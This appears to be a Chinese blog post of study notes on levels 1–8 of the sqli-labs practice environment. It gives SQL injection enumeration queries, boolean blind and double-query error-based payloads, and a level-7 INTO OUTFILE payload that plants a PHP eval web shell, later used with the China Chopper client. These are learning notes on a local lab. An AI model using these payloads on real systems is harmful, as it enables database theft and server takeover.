SQLI-libs 1-8

前幾天看到同學在羣裏發的sqli-libs教程,想着在家閒着也是無聊,不如搞點事情,於是按照教程下載了phpstudy和sqli-libs,學習一波

第一二三關沒什麼好說的,總結

查庫名:select schema_name from information_schema.schemata
查表名:select table_name from information_schema.tables where table_schema='對應數據庫名'
查列名:select column_name from information_schema.columns where table_name='對應表名'
查字段:select '字段名' from '對應數據庫名.對應表名'
常用到的函數:
group_concat()      //將多個結果整合成一個結果,默認用逗號分開
concat_ws()         //將多個字段整合成一個字段,如果第一個參數設置了一個字符串,則多個字段間用第一個參數隔開,如果沒有設置第一個參數,字段間將直接連接
@@version_compile_os//查看操作系統信息
@@datadir           //查看mysql安裝路徑
@@version           //查看mysql版本
version()           //同上
database()          //查看當前使用的數據庫
system_user()       //查看當前用戶
user()              //同上
current_user()      //同上

ps:如果某個地方需要用到字符串,比如concat_ws('~',username,password),字符串可用16進製表示,可改成concat_ws(0x7e,username,password)以避免使用單引號,也可以用char()函數,裏面的參數是ASCII碼(默認十進制,也可以加前綴0x使用16進制),返回字符串,比如char(35,36,37)返回#$%;查表名或者列名時,對應數據庫名或者表名也必須指定爲字符串,這時候也可以直接編碼爲16進制,以避免使用引號。

第四關的sql語句是用("")包裹起來的,這地方有個問題

查詢語句爲select * from users where id=("1'") limit 0,1;能正常查詢出id爲1的數據,但是改成("'1")或者("'1'")查詢結果都是空,搞不明白爲啥,很神奇。。。

mysql> select 1="1'";
+--------+
| 1="1'" |
+--------+
|      1 |
+--------+
1 row in set, 1 warning (0.00 sec)

mysql> select 1="'1";
+--------+
| 1="'1" |
+--------+
|      0 |
+--------+
1 row in set, 1 warning (0.00 sec)

第五六關,只有正確和錯誤兩個回顯,布爾盲注

總結:布爾盲注中常用到的函數:
ascii()       //參數爲字符,返回字符的ascii值
substr()      //參數:字符串,開始位置,截取字符個數
mid()         //用法同substr()
left()        //參數:字符串,返回字符串的長度
right()       //參數:字符串,返回字符串的長度
雙查詢注入

sqli-libs給的標題是Double query,雙查詢注入
雙查詢注入來源CSDN
雙查詢注入來源簡書

簡單的一句話原理就是有研究人員發現,當在一個聚合函數,比如count函數後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;//查詢數據庫
/*查詢其他內容只需要把database()換一下就行了*/

實際操作時發現,如果返回頁面給報錯信息的話,用雙查詢注入會比盲注要快,所以又去專門找了一下關於雙查詢注入原理的文章
總結原理,大概就是利用rand()函數和group by語句進行報錯,適用於未屏蔽報錯信息的情況。
雙查詢注入來源CSDN
雙查詢注入來源i春秋

第七關

第七關要用到讀寫方面的知識

load_file('路徑')                   //參數爲路徑,讀取該路徑的文件
select '內容' into outfile '路徑'    //將內容寫到路徑下的文件中
/*ps:outfile是不能覆蓋寫入的,如果文件已存在會報錯*/

secure_file_priv直接設爲/,直接給了MySQL根目錄權限
payload:

-1')) union select 1,2,'<?php @eval($_POST["pass"])?>' into outfile 'G:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php'--+

注意反斜線可能會被轉義,所以要用兩個反斜線
雖然回顯You have an error in your SQL syntax,但是看了一下文件確實添加成功了,不知道爲啥。
看了一下源碼,那麼應該就是因爲這個mysql_fetch_arrey()的返回值轉化爲bool型之後是false了,但是爲什麼查詢結果明明不是NULL,這個函數返回值卻是false呢,迷

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}

然後用菜刀連接(感慨一句,菜刀太強了,真·功夫再高也怕菜刀),連接成功後什麼都有了

而且我搞不太明白,爲什麼用分號分割執行sql語句不能成功。
然後找了一下w3school上關於mysql_query()的介紹,click here
猜測是因爲這個函數可能只能進行一句sql語句的查詢,w3school上也說了,這個函數執行的sql語句不要用分號結束

語法
mysql_query(query,connection)
參數 描述
query 必需。規定要發送的 SQL 查詢。註釋:查詢字符串不應以分號結束。
connection 可選。規定 SQL 連接標識符。如果未規定,則使用上一個打開的連接。

另一種思路

其實這一題還可以將查詢結果通過outfile直接輸出到一個txt文件中,然後再去訪問這個文件

第八關

布爾盲注,跟我在第五六關中第一種方式一樣,我們面對什麼sql也不要怕。
經過實測,可以用腳本注,單引號'閉合,--+註釋。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章